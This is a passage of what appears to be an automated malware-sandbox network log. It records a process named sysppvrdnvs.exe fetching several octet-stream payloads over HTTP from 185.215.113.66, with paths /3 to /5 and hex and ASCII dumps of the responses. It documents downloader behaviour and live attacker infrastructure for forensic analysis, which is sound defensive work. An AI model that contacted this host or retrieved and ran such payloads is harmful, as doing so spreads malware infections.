Oct 26, 2024 07:28:09.853843927 CEST	1236	IN	Data Raw: 1a 7e 54 ab 8b 45 f0 f6 cd be e1 a1 4c 42 63 2a 88 24 37 be 0d 52 6c ca 2d 11 74 6a 4f 1c 96 52 71 18 29 06 58 2e ed 84 4a d6 69 35 40 34 36 fa a4 03 08 6e 3d cc 79 d5 da 9b cd e5 49 62 a0 15 b7 25 90 b3 49 fd 19 9c 00 1d 6e be 47 6c 88 53 1f 7a Data Ascii: ~TELBc*$7Rl-tjORq)X.Ji5@46n=yIb%InGlSz33(:&eGco%bA;0=X^tiIIsnc:F&lU'/xJQHI9xJ :6A@dq"0o3zC4/mqM
Oct 26, 2024 07:28:09.853883028 CEST	1236	IN	Data Raw: 18 79 9c 05 4e c4 8e 9a a9 9d c9 5b 93 d9 75 84 fb 01 3a 8d e5 b7 91 3a 76 75 6b d3 6c a6 b9 fe a4 2f 47 5e 75 68 33 a0 76 87 6a 1a b3 ec d4 d7 f1 a1 5a c1 ff 30 43 2c 25 b0 ea 1e 1b 51 9d 20 86 8b df 35 f9 6d 0b 1e 79 38 0d bc 65 b9 0b 84 27 d9 Data Ascii: yN[u::vukl/G^uh3vjZ0C,%Q 5my8e'+o{D82.p/{hp'SS/g)WJ4)`&a0oc]Uo(4M'_sG@mxy6("S9%5]9[h1_&},fO
Oct 26, 2024 07:28:09.853920937 CEST	1236	IN	Data Raw: 84 70 54 7d 76 a7 80 23 30 99 b6 5d 7b 26 54 bb 8f 3b 49 5d 85 8d ef 23 d3 03 bf d7 a3 12 7a 16 b2 c0 04 d2 f8 59 ed 93 77 a1 9b 16 eb 38 08 4f 1f f3 41 a0 7b 13 e5 00 b1 6b dd 19 4b ed c5 fb 8c e7 26 47 0f 46 fb 4d 58 09 99 98 14 46 4a 2b a4 8e Data Ascii: pT}v#0]{&T;I]#zYw8OA{kK&GFMXFJ+I$?r-:Pw_gN/6p"]c{1 NTSgA7\|I5Y&hOhAcUz(S7S})!s%F'GWfS\D5LR)r9
Oct 26, 2024 07:28:09.853961945 CEST	336	IN	Data Raw: 03 c4 8d f3 91 32 4d 71 23 2b b6 64 8c 4d 8f 93 31 e2 1e fb af 3b 6f 02 ab bb c8 79 d0 e2 41 b5 7a 6d ab 40 21 3c 82 19 45 fe 84 e5 c5 6e 6b 20 3f dd 13 d4 43 0a 1a bb b4 e1 3d 7c 39 50 9e c0 b5 a3 65 f5 7f 64 6e dd 19 47 0b 44 ba 46 25 a8 ea 9e Data Ascii: 2Mq#+dM1;oyAzm@!<Enk ?C=\|9PednGDF%F-_!Y^uODIuH"oR^k=%S\(L7QREU6=oNL \|~;vF\|5qOh[IO*9%i0q~3T\|UJ
Oct 26, 2024 07:28:09.854001999 CEST	1236	IN	Data Raw: eb 45 4c 97 ef 2a 1d 2d 9e 44 a8 12 24 dd 16 68 4f 59 12 bf 43 b3 04 4d 19 04 15 bf 01 95 74 9f 14 3b 45 eb f3 d9 62 da 79 9d 16 ba d9 cc d4 f6 3b 74 51 be 85 05 66 0a 71 89 56 7b 23 ef 62 eb 74 a4 a1 98 46 d2 dd b1 ee e3 47 91 89 f2 99 71 dc c6 Data Ascii: EL-D$hOYCMt;Eby;tQfqV{#btFGqNPs%#@#&AG =OPpuLx!$A<k_xmO1>v@O;KbSs YUN7L'A4Ht\is
Oct 26, 2024 07:28:09.854037046 CEST	212	IN	Data Raw: 44 69 97 04 49 86 d7 b5 59 b2 c1 bc a6 6a 60 69 c7 d9 b8 01 f1 03 06 0d 0c b0 fc aa 40 67 6e cf 94 4b 3d fa 20 12 1c 7b e4 0b 90 7d 37 06 4e 57 b1 53 8d e6 1f 43 0a 22 07 24 10 5a 1b cc 5e 22 4c 64 d0 cf 28 1b 24 a8 fd 5d 0e a7 38 e6 2c 0c cf cb Data Ascii: DiIYj`i@gnK= {}7NWSC"$Z^"Ld($]8,C"e0+Y_%}a\w_ra=N.>e@b#T\@A$FM.1!FWy7JKPh,2W>>{]t
Oct 26, 2024 07:28:09.854068041 CEST	1236	IN	Data Raw: 03 83 34 fd 15 69 cf c8 fe 55 b2 ed 61 ec 41 49 bc 64 a0 42 b3 ac 4a 85 83 00 2b 3a 92 4f 22 46 0c 37 26 dd da 56 a0 6e 23 a9 52 e0 6a 2a e5 1f 24 2e f0 7a 22 1b 05 a3 f3 9a a7 0e 57 86 82 d7 c4 74 2c 71 4e 03 b7 18 b2 d7 68 22 31 3d 33 49 62 3a Data Ascii: 4iUaAIdBJ+:O"F7&Vn#Rj*$.z"Wt,qNh"1=3Ib:Y!\fsAF),l;mN\|#{S?&P<G5IjYWY>q+fL~W5GXPY?ECjZ@=:pj\|KYD$~$nb
Oct 26, 2024 07:28:09.854104996 CEST	1148	IN	Data Raw: 48 d7 82 a7 f1 a9 30 77 2e f3 7a c7 2b ff f9 56 6a 32 57 ca bd 80 37 72 35 81 48 51 9e 7f a7 92 f4 bf ff de 88 c8 93 ee e2 5d a0 c3 86 88 51 28 33 be 06 de c9 e8 6a 3f f4 a4 c0 76 cb 4b 3d fb 7b ae 2c 83 a5 00 6d d1 40 0b 9c c8 1b 85 5e ee a2 dd Data Ascii: H0w.z+Vj2W7r5HQ]Q(3j?vK={,m@^1?vHl6=Nke&u+bIB`#0s']B4/8>XuP_Q@(^OS$&?Jl[e:s8Mf?Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50021	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:28:11.889955044 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:28:12.788755894 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:28:12 GMT Content-Type: application/octet-stream Content-Length: 16128 Last-Modified: Wed, 25 Sep 2024 06:10:59 GMT Connection: keep-alive ETag: "66f3a973-3f00" Accept-Ranges: bytes Data Raw: aa ff 5b 85 19 de 79 93 4d ba ae a5 78 a9 fd 33 2b 5f 5b 98 2f e2 90 9b 43 bd 1a 0d 04 b2 f0 0d e0 d2 4c b9 c7 49 cc d7 d9 86 fc 8a cb a9 8a a3 e8 4b 30 70 cc 50 61 19 a3 47 82 6a 87 71 cd 8c 0c 72 ae da 3e dd b2 2b 22 4d d7 28 a6 af 1c bc 29 de 1c 02 e5 f1 a6 6e 66 9e dd 18 a8 da 2b ff 6d c4 8d ee fd 38 60 ba e4 86 f4 d7 40 df 27 56 a7 f2 ca 5d 5f fa 84 aa 7b cf 31 80 26 84 f3 f2 df d5 e9 24 ed 82 c6 22 c1 fd cf 14 bb 4c 2b d9 27 6c f4 35 00 10 82 a6 1e bb 1d cf 5d 31 5a dd 21 48 df 7c c6 bd aa 01 4a af 21 b4 2f b4 3d 3a 6a 72 7e ad 32 ca d0 54 ff fa 5e 52 a6 ae 21 74 90 74 88 9f 33 25 5f 1c 2f 3a cd 70 f4 a3 40 f4 de 5a 2d 2e a5 ab 8c c7 c4 39 ee ac 1f df dd ad 83 61 53 40 96 ef 54 f8 d5 99 78 d0 5c 15 a6 e4 3a 94 aa 88 b5 29 9f 27 fe df f6 f1 44 8d bc dd e1 03 41 86 b3 e3 55 74 f6 93 e0 52 2d 67 f4 5a 3e ac f1 42 1d 05 88 0b c7 71 98 35 3a 39 b0 14 2a a2 79 0b 6e 7a ab 34 d0 5e f3 c0 be 79 a1 6e 92 b2 77 e0 36 5f b2 e6 fd 89 91 4d 37 1c 32 b3 ee 70 af 6a 4a 74 8a 23 65 0e 7a c7 53 57 d8 80 68 b7 [TRUNCATED] Data Ascii: [yMx3+_[/CLIK0pPaGjqr>+"M()nf+m8`@'V]_{1&$"L+'l5]1Z!H\|J!/=:jr~2T^R!tt3%_/:p@Z-.9aS@Tx\:)'DAUtR-gZ>Bq5:9*ynz4^ynw6_M72pjJt#ezSWh4{q/br( olSu5nw;i#:X<<T>cRfzgzDG:]]G=su`#Zt9Xw48~$YJ<0}~,4SJGJwzbyt;9C#<$v@0`/"8bn,]E-VpYcGa:q2oWO,N3#@my1~-I-.!m<fa^ak=FzeMq/(\R\)KwxlM7LD G+m\E~Xt:\|2EX<\P3,qDxRG,~TaZ~v{zJ[a$y#gR<v\>cjn)?kSxP07@Pe@ZL6RvoexXOK4For'A8K%?RtGVB}c7!8=f&d
Oct 26, 2024 07:28:12.788774014 CEST	1236	IN	Data Raw: 49 24 02 da 57 17 86 62 ea 4f b3 98 a8 06 64 68 e4 0e 11 0e 16 b4 f3 7d b0 7f 4e f3 b6 bb c5 b4 04 d0 bf 65 7f 95 6e fe ce e4 7b b2 ca f9 ec 06 09 b6 58 0e 05 a0 aa 0b 83 ec 25 fb e4 1d e9 c0 9d 1e 4d 8c be fd 63 31 5e 38 76 9c 34 c9 48 ba b1 12 Data Ascii: I$WbOdh}Nen{X%Mc1^8v4H\|f\|'x\R')Z{iC,}'hCh5[wRG@XB;G[-iC+(?E=y[$He
Oct 26, 2024 07:28:12.788794994 CEST	424	IN	Data Raw: 79 66 85 08 93 95 1d 74 ce 4a 11 6d 82 e1 0a e2 81 2a fe 53 85 e7 03 3d 26 89 2a ac bc 6b 82 a8 ad b3 ff 6f 2b 13 be 1a 78 df 38 94 08 4e 19 a1 85 a6 e7 97 55 2a 34 6a c4 05 a0 b4 7d d6 cf ac 4f ad fd 67 d8 7a 3f 8d 05 43 ee 09 c1 87 a8 e4 28 65 Data Ascii: yftJmS=&ko+x8NU4j}Ogz?C(ekds&;`!R[8ipurbyc'Xgy88(BAoqb\3mc2kg&;Rao#``2C(BRcAEy3.(d{A
Oct 26, 2024 07:28:12.788806915 CEST	1148	IN	Data Raw: 9f 7e 68 88 22 b7 81 9b f3 8f c3 d9 9d 1b 44 88 45 a9 14 85 48 d8 2b dd 99 e1 85 89 7b 94 2b a6 1e 5f d8 37 e6 72 5e 9d 61 30 88 cb 04 05 b2 f6 f9 cd 24 40 df 6e 29 98 56 5c 9d d3 54 6d 3b 06 37 ab 99 4f f3 92 00 37 44 1e d8 08 1b fc 2d 94 01 9b Data Ascii: ~h"DEH+{+_7r^a0$@n)V\Tm;7O7D-'l{)VlQl\Np nC,Oq^PG\|rBinsfw?2<m(hh.=.t<HHLdN=FX)7S%4_BTB\|oJ34$1M
Oct 26, 2024 07:28:12.788817883 CEST	1236	IN	Data Raw: b9 1a 39 14 ab a4 68 77 17 61 1d 4c 7b 8d 25 bc 2b e9 a0 8a d9 5f fa a6 41 31 43 1c 76 91 d9 73 44 4a 06 90 dc 72 66 88 82 d3 13 86 86 d2 3f b9 a4 5a 2d e3 0f 5c cf b3 5d a0 3f 69 b1 66 b5 3b 1a 26 28 41 1f 48 0b ab 67 eb e3 e6 06 15 2b 5e 8e eb Data Ascii: 9hwaL{%+_A1CvsDJrf?Z-\]?if;&(AHg+^M$^GGWRmMZuir&Zrqa!s2c{Ms\|T[cS^fNy#`=-\8H6:bzm)A]YARZRH?]4S?6o
Oct 26, 2024 07:28:12.788842916 CEST	1236	IN	Data Raw: 05 43 70 94 6f 23 94 3d 53 1f 2d 02 a6 b7 91 73 f0 f8 81 5f 62 3d ba 9e 5a 40 c4 62 28 e4 41 3e 4f 3e c0 e3 d4 32 9b 91 1c 23 69 8e 25 cf 77 e3 74 b0 3c 32 dd 91 85 14 67 51 45 b4 f8 3e 26 b8 48 82 b7 96 4d 2c 54 8b 3e 45 bb 83 af 30 b8 a2 f0 13 Data Ascii: Cpo#=S-s_b=Z@b(A>O>2#i%wt<2gQE>&HM,T>E0`D/ZSd\|g=K/rz&/D)4vs3LQq>&$PR&0>%h~?jw)pg8J Zhpl^yh(qKoIPN
Oct 26, 2024 07:28:12.788862944 CEST	324	IN	Data Raw: f5 0b 23 41 fa 16 64 5e bc 86 37 70 a1 37 3a e3 45 6c 63 9f f2 39 42 04 e3 c9 09 9f 63 92 60 86 fd 02 4c b0 dc e6 00 61 f4 65 7f 60 e4 25 13 9b 97 69 0d 4f ca 8c 47 56 59 3e 1e a5 07 b3 67 2d bd 1e 90 73 31 07 1b 2f 3e a4 76 21 05 d3 8c 91 90 68 Data Ascii: #Ad^7p7:Elc9Bc`Lae`%iOGVY>g-s1/>v!hA_5cdKp> H,25kCl#p3@^Jb.?j4V-'/hY^k}B[X%JNS{\vPe<[W7b${SXTb]_'g'P
Oct 26, 2024 07:28:12.788876057 CEST	1236	IN	Data Raw: 80 9d c5 32 55 93 4b 81 f8 d9 37 00 b9 fb 15 9f 0a ed 2b 6a e4 ef 08 67 7d 9a 95 b8 35 cc 47 51 b2 b1 a2 a6 a1 9b 83 d4 94 11 b3 50 1a b2 5a f7 8f 56 2c fa 49 3c bb b4 aa 66 15 9d 73 e1 c1 f6 2a f8 c0 68 14 50 48 a9 e9 5f a0 89 51 cb c6 70 46 83 Data Ascii: 2UK7+jg}5GQPZV,I<fs*hPH_QpFULkX4d_P,mZiYFgqZJld<`Ijk3#cNR?~5[@%WS/4kE2UdM9?%EO!&>Tg=`>uF'"[
Oct 26, 2024 07:28:12.788887978 CEST	1236	IN	Data Raw: d2 9d 92 53 4e 8d 8a 67 f1 96 1e ca 61 a2 39 0e a5 75 4e 7f 43 be 9a 7a 42 19 5c 44 23 8e a7 f1 c7 b4 ef f4 34 f5 ea c0 c6 9d 42 a1 be 25 35 5d 91 b7 2f fb 57 de c0 c2 43 8e 9d ba c5 c2 de 56 be bf 89 06 97 08 15 4e 05 2a 0e a5 7f 1b 0d d3 98 e8 Data Ascii: SNga9uNCzB\D#4B%5]/WCVN~C\F=P0^(IZ=\9cD&eY>3_q;DlS(m=WUg[Sj%Ko7v!M\oD]c'q7tQnE=jv^YqjkTqHj<TM]VF
Oct 26, 2024 07:28:12.788899899 CEST	1236	IN	Data Raw: 52 3c c5 bd 7d 01 6a ed fa 6c 00 63 09 0d 48 a1 f8 16 b9 9b 26 06 0c 71 c1 02 4a 14 24 ab e2 0d e0 93 9d 59 04 93 11 63 22 2f 70 d1 c9 0c b1 7e 61 54 9f c5 a6 6c a0 92 75 29 01 02 e5 7f 98 4b d7 94 db 6a 1f c3 be 93 e3 ff c0 cb 7a 36 a6 06 4a e1 Data Ascii: R<}jlcH&qJ$Yc"/p~aTlu)Kjz6Jyz]x=$s^!}_m+ck@L.<4^f wtEpr)o}nEL-MC*kK<[fw^jBYio1JvHwa
Oct 26, 2024 07:28:12.794302940 CEST	1236	IN	Data Raw: d3 db 5c 31 71 6c d2 f0 00 ac 14 92 55 52 74 b5 1b 28 36 ee f8 74 c2 d2 9d 56 5e dc 6a ec 28 2a a9 e5 8a f1 39 85 01 d8 09 10 40 9e e8 9a ab cc 39 7e 76 23 69 2f 4f df bc 42 04 2b b2 88 62 72 b7 bb be 62 94 10 72 be 8d 4f 34 e0 fb 8a 4e ff 1e 04 Data Ascii: \1qlURt(6tV^j(9@9~v#i/OB+brbrO4NzIBJq#LE2&xPV7vg?6K0v'p}%6GD+D%HTD$PioV><x6>S@KvJj`-y-'#[jMF,aY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50023	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:28:14.895416021 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:28:15.799163103 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:28:15 GMT Content-Type: application/octet-stream Content-Length: 10496 Last-Modified: Sun, 20 Oct 2024 18:34:00 GMT Connection: keep-alive ETag: "67154d18-2900" Accept-Ranges: bytes Data Raw: 13 e3 aa 7c f1 40 76 43 29 84 09 02 71 ae 39 fc df 9d fa 02 4b d8 7b 3e ae 0c e2 64 38 f9 d3 27 da 73 10 d1 ca f9 f2 4a f8 ad aa 12 e8 fa c9 50 6e f5 a1 6b 88 56 c2 7a 1f 17 e8 40 57 00 b2 8f df 4c 7b e3 14 75 47 bf 27 47 31 bb 43 4c 8e e7 b4 40 14 db 1d 3c 42 cc e1 36 dc d3 3b 91 3e 68 4d 15 e2 5c e6 98 da 7c 77 03 42 8c 76 ca a5 9a 81 db a1 ec 75 f2 84 a2 67 09 f0 c5 b4 4f 58 86 25 fc 20 b3 68 fa 72 39 3a 7c e0 1b f5 e8 b0 73 b6 f8 3c 81 36 fa 29 81 67 e8 ee 34 47 6c 59 b9 7f 18 32 42 66 14 35 b3 8d e2 41 8d e5 92 2b 47 1f c0 93 b3 28 d8 54 2d 6f 45 f1 c3 5a cf 49 32 33 d3 7b ac a8 27 33 c1 c9 e0 29 60 f9 b3 d3 5e 65 37 6a 7a 2f 4d 24 73 1b 93 bb fa 91 d2 34 ce 9b 19 db d6 2a 31 36 f0 a2 ab 92 6d 08 d9 66 72 6e 07 c5 44 44 2c 9e af ae ce d3 fb 57 61 28 cd 32 90 44 0e c3 39 95 a9 ab 17 e4 0d 16 a5 f0 c2 e3 78 c3 de e1 fa ff 86 d7 ae ab 06 ba 5a 6b 34 44 61 15 d3 b1 85 29 3f 83 f4 5f 68 10 ed 8d d7 73 41 11 b6 57 f3 ed 02 fa a4 42 32 ff 99 d6 ea 0a 63 48 51 ba 54 b5 00 01 83 3d 9e bb 55 dd 93 1c e5 [TRUNCATED] Data Ascii: \|@vC)q9K{>d8'sJPnkVz@WL{uG'G1CL@<B6;>hM\\|wBvugOX% hr9:\|s<6)g4GlY2Bf5A+G(T-oEZI23{'3)`^e7jz/M$s4*16mfrnDD,Wa(2D9xZk4Da)?_hsAWB2cHQT=U@3}!YGCX{ 4"&h0.'xu#c\|gL0)cM]oL{:En:?\|_XPQ@ 3.o)ua[I+fZM% ]2uz_Gwt0bFaMTd2Y&TMXP}+OpQEo6R;P>8`2'"~CZ_,2g $l"x:h;H`$-6_-eC?6T=qL3&fG)WG@6X~%X%RCh?R].fbU!PHh"Rj,dk.e\~hn(,G<u16tlw;p;yrSC_M6XhtG7zsHP,e_ddcn^M+ct\0jr>;_nq>xezw
Oct 26, 2024 07:28:15.799196005 CEST	112	IN	Data Raw: b6 6f 0a 0a 83 25 6b 6b 77 fa e4 46 67 eb d9 41 2f aa 63 53 82 83 51 d9 2f 3d 63 6a 82 33 0b 6f 95 13 e1 9f 36 1b ba cb fb f5 6f 57 bb 40 bd 1d a5 c1 57 98 12 18 b1 98 2c ff 21 39 d5 d8 8c 8b 48 74 d5 8a 79 fc c5 75 bb aa e4 d3 c1 a0 97 29 d7 96 Data Ascii: o%kkwFgA/cSQ/=cj3o6oW@W,!9Htyu)PU:vO'8O
Oct 26, 2024 07:28:15.799232960 CEST	1236	IN	Data Raw: eb f7 e1 3e b0 c8 e9 ca 8d d4 e4 c0 2a a9 81 d6 fd 42 20 61 77 b3 e1 96 27 26 69 a5 a5 fd 12 45 e7 70 8e 52 61 02 17 bc a9 fa 4d a1 ea eb 5a fb ad a9 7c e3 d6 09 c7 bf 33 87 46 cc 6b 3c ed 6c d3 51 3b fe c7 be d3 12 b7 d8 47 62 86 b4 a5 12 50 1b Data Ascii: >*B aw'&iEpRaMZ\|3Fk<lQ;GbPMlh5}8m;ajW,N7&QKh.([gXC~Slm7lg0hd7NnyM8%Qf7\|VbF9?gk{is6u
Oct 26, 2024 07:28:15.799252987 CEST	1236	IN	Data Raw: be 2f 61 3a 1b 4e 54 9f 16 74 9c d6 4b dc 75 22 a9 31 18 da 58 da 9c 5b 38 49 62 0f b2 64 bd f8 00 b5 79 6d 2d 2a c5 7c 0a c5 a7 e9 1e a3 fd 06 2b 0f de a6 3e 61 08 18 aa 60 84 ce 3c fb 5a cc 21 25 12 f9 d9 17 a6 7c 20 a2 34 26 b5 80 dc bc 1c fc Data Ascii: /a:NTtKu"1X[8Ibdym-*\|+>a`<Z!%\| 4&[+usL^etpuu);Xb<>M\SAPwDc[8q-!q]c7vp.nnF{<~zdrmXt$8&2c^_E
Oct 26, 2024 07:28:15.799280882 CEST	1236	IN	Data Raw: 99 31 96 51 d2 49 8d 75 9f a1 b5 63 0b 3e 1f 18 b4 22 57 d9 8b 7c 31 98 16 87 ae e9 52 72 6d 5d c2 16 1d 54 31 c6 26 50 53 c5 b3 54 51 99 ab e5 bf ce ab 5a 8a 71 45 74 67 a4 63 0c 5b 55 2a 2c 09 40 f8 fc e9 05 9a 85 93 2b 1f c2 e7 ee b8 e5 f1 4c Data Ascii: 1QIuc>"W\|1Rrm]T1&PSTQZqEtgc[U*,@+LoR0rMwfu^VUzcie_$eM;Bni,9Y;pz@Elc.}JW>4=\u=F%$%_^R'IK4]x+.i/ qh[
Oct 26, 2024 07:28:15.799303055 CEST	336	IN	Data Raw: 93 05 8f 66 d7 1c 1e 74 35 55 8e 3e 31 a8 75 b5 61 82 75 bf 07 d4 ae 95 c4 56 90 7c cb 70 96 18 0f 8d 94 0d ed c5 38 19 fb 22 c5 0b 12 87 60 3b 81 03 12 75 54 3b 9d 5f 49 0f c9 02 17 62 6d e2 fe bb 70 70 d5 80 63 88 df db 26 ba b5 f0 ea 96 e1 99 Data Ascii: ft5U>1uauV\|p8"`;uT;_Ibmppc&D5HCwjrH&532a`#&AWxd<,v\]Hhq"4kW'{wR4BA=g-S*M^~lv^b%\Z)zW0EZSM#x6
Oct 26, 2024 07:28:15.799333096 CEST	1236	IN	Data Raw: aa fa 62 12 93 06 96 26 10 ad ee 3f 3a 32 0f 63 b0 c9 34 e0 c6 5d 26 60 69 44 af c5 91 85 d2 84 09 89 f2 6c 3d 84 bc 18 7a 15 34 45 a4 64 67 41 97 93 05 44 ff df 37 26 13 b8 c0 69 cd d0 4d e7 a8 07 3a c0 b4 91 f1 c8 d0 9a 5f ec 8d 18 a9 e0 47 12 Data Ascii: b&?:2c4]&`iDl=z4EdgAD7&iM:_GHkd*UDfMvJ_;Pk9njT:S;7#B0;s9MxF!o-0.Iq&q"Ka4tO>]=7PpVra;AyN<.O~`=]/
Oct 26, 2024 07:28:15.799351931 CEST	112	IN	Data Raw: 55 fa f6 a6 80 b6 6c 83 d2 ea 2f d6 f9 a2 96 d2 ee 32 1d 3a 03 4f 21 69 97 4b 76 be d4 fd 5e 94 dc b6 91 f9 89 7f 6c da 9f c8 b4 c1 a7 bb 31 3d 07 3e 88 72 f1 4a fa 21 3b fb e2 1e 9e 3d 7f 77 4a 6f 8a 09 14 20 4f f5 68 09 fe f2 df 7a 11 bb 4f 3d Data Ascii: Ul/2:O!iKv^l1=>rJ!;=wJo OhzO=q~qF.Bth]Q
Oct 26, 2024 07:28:15.799370050 CEST	1236	IN	Data Raw: a6 0d 4c 3e e9 bd ed af 75 87 f1 d2 86 41 08 5a bd 13 a6 84 8a c2 e5 17 da 20 0e 5a 82 b2 0a f8 76 61 c8 22 fc 8f a0 c5 48 da d8 eb 12 49 88 b8 19 a0 62 4b b2 a5 64 50 ba 53 02 1a 1f c2 c0 01 a9 a1 6d 1c 12 79 22 13 1e 59 39 ac 6f ba 33 c7 51 89 Data Ascii: L>uAZ Zva"HIbKdPSmy"Y9o3QBqYV#Vr8C7ClU8.* /;7(^ZSH>3b\hljGkcy`L@&C7W{lxe;c\|<>i+,R:ecIfg
Oct 26, 2024 07:28:15.799397945 CEST	1236	IN	Data Raw: e0 e8 5d ff 13 54 77 b3 5a a1 57 39 5e f2 c4 9d 68 78 8c e3 b8 19 81 f4 98 60 60 5c ce 07 ca 91 76 6b 55 0e 99 a1 87 f3 02 01 bc f9 26 cb 93 f5 cc e3 07 b9 b2 ba e1 6c 83 b1 4a b6 f5 12 b9 95 02 be ba 75 47 ee c3 6f 92 65 e2 78 09 e4 c1 46 cc f6 Data Ascii: ]TwZW9^hx``\vkU&lJuGoexF*-~Q;Y0oqb=gP/-SeccZ?m_=UVTM'aYv_w&%k"- 1?3ul2'
Oct 26, 2024 07:28:15.804799080 CEST	1236	IN	Data Raw: c8 39 87 a9 06 af 54 df ae 08 4d 84 68 5a 90 a9 1f 4e 3c 5e ee 27 ac 6c 7d 49 34 88 6e 86 99 b6 2f 28 55 0e d1 df 87 c8 ba e5 8e b1 da cf 95 de 04 2a b9 53 a7 c2 51 a9 30 45 bf 47 c9 88 00 75 4b d3 b6 be 4d 95 9b 0d 4d f4 17 76 5e fa 2b 9b 0d 20 Data Ascii: 9TMhZN<^'l}I4n/(U*SQ0EGuKMMv^+ QYI_UyC8v#"=<dYz %.:O6`/Js=vHBjc0nWNl+7AQ5J'uy^X=T?2hVgpk, R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50025	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:28:18.270478964 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:28:19.210041046 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:28:19 GMT Content-Type: application/octet-stream Content-Length: 13568 Last-Modified: Tue, 22 Oct 2024 12:10:16 GMT Connection: keep-alive ETag: "67179628-3500" Accept-Ranges: bytes Data Raw: 0c 11 18 17 3d 7f 82 02 a6 24 36 4b 11 62 4d 55 d2 81 18 a8 7b ac b4 99 13 ea 95 14 cc 97 97 e2 0a 71 67 8a f6 90 c5 ca 7a 7b 56 bb fa e8 89 09 55 1a 05 57 8f 9c 1a 81 d8 bb 44 82 88 57 06 b0 a8 b1 0d 7d 50 5d 73 d2 54 4b d9 0b b0 cd a7 15 33 5a 57 25 7a d1 92 b0 cc 68 22 98 ff fd 1b 98 b0 f5 65 52 62 23 6d 48 84 63 2c a5 ce 1c d7 7e 20 81 7c 51 12 ee 07 70 82 1e bb bd 5b c1 57 cc 9f 3b 07 de 21 89 69 22 52 a2 b3 ac 41 42 e4 9f 74 46 e4 c5 ff 6a 73 b7 e0 c8 5f 4b 1f cc 28 e3 35 c9 6a 94 90 c9 95 c3 85 52 2c ae 57 13 b6 c7 b3 65 41 44 cb 6e cf 7e 5a 38 88 3a 70 d6 16 06 5e 35 43 a9 4c 56 d1 91 19 cf 12 60 0e f4 0e 93 ce ed f1 59 ab 0f ac b8 08 db 75 8f 57 bd 3e 74 90 a5 b5 79 a1 e7 5c 27 4a 05 b2 04 bb fc f0 de 98 12 16 00 a4 94 30 c4 34 a7 3f 3d d1 48 9d 54 69 63 38 91 b3 31 0e e5 1c 1b 3b 56 e3 53 a0 7c af cd 1f e8 b5 94 ca 54 f5 68 9c e2 81 d7 79 54 fc 2b 6d ba e7 01 91 17 71 86 42 4c 6b dd ff 4f a6 b4 df 21 b1 1d aa 7b 15 e2 4c ad c1 62 52 91 b1 1e ba e8 86 3c 96 57 ad 50 ef 4f 07 df 8e c3 28 72 [TRUNCATED] Data Ascii: =$6KbMU{qgz{VUWDW}P]sTK3ZW%zh"eRb#mHc,~ \|Qp[W;!i"RABtFjs_K(5jR,WeADn~Z8:p^5CLV`YuW>ty\'J04?=HTic81;VS\|ThyT+mqBLkO!{LbR<WPO(rVc=Tb''+DZE"rJ:h}nw1~z:/;fwH`^D\|%F8MD)A_uhi\:h%~!a>&cbV)g$V]Bg1v@%<+({Ps?'f#[V>%}sKu~gWA09-#98wSKfvZgi<)X>rRj9[t6'G*\3+veYh_9^H-'BIh=M8Nz-nt>+yJMpWPLkPyW"y~&ecMz6sC!J`mS?2"OR]N xcxkit9f#:a#C"Ql0p{{rtE:r:'lL]!poXAdOq'Fa\|yM{x;!++H.}bpp8h;qLLa<x<j
Oct 26, 2024 07:28:19.210283041 CEST	112	IN	Data Raw: c5 f6 81 b2 5c be 3a f2 f4 a0 69 51 cb 1e 7a 65 63 1b 5e ad 0c 1e cb bc 15 0c c8 3c fd 96 62 f2 d2 3b 0a d0 1e 9d 66 0c cb 26 ef d1 f3 6e 2b c7 40 85 15 6d 0d 88 4b f9 89 10 2c 37 76 33 d6 5d a0 0a 79 c4 65 0a bc ad 27 98 0e b2 33 fc 54 5c f2 dd Data Ascii: \:iQzec^<b;f&n+@mK,7v3]ye'3T\*Sk}):rN]WO]1G>
Oct 26, 2024 07:28:19.210302114 CEST	1236	IN	Data Raw: 9d ff ac 13 26 cb c9 21 3e dc d3 64 1f d4 fb 4b 2a 40 8a 9e 69 9c d7 88 b8 5b ba c3 f7 ae fa 88 5d de c1 ac aa e1 e0 7f f9 4c 06 c4 b9 fd f1 eb f2 cd ac 0e 84 7a 41 29 30 a1 85 dc 4e 24 80 77 81 7c 09 6e c7 f7 3d c9 cb d6 be 92 8b ff d2 c8 cc 02 Data Ascii: &!>dK@i[]LzA)0N$w\|n=29-BB){&ZI2ej` t3~%QBc=2]\K6Wq>d?H4$e[ist;0BeO#IeShA+< .Gw9`
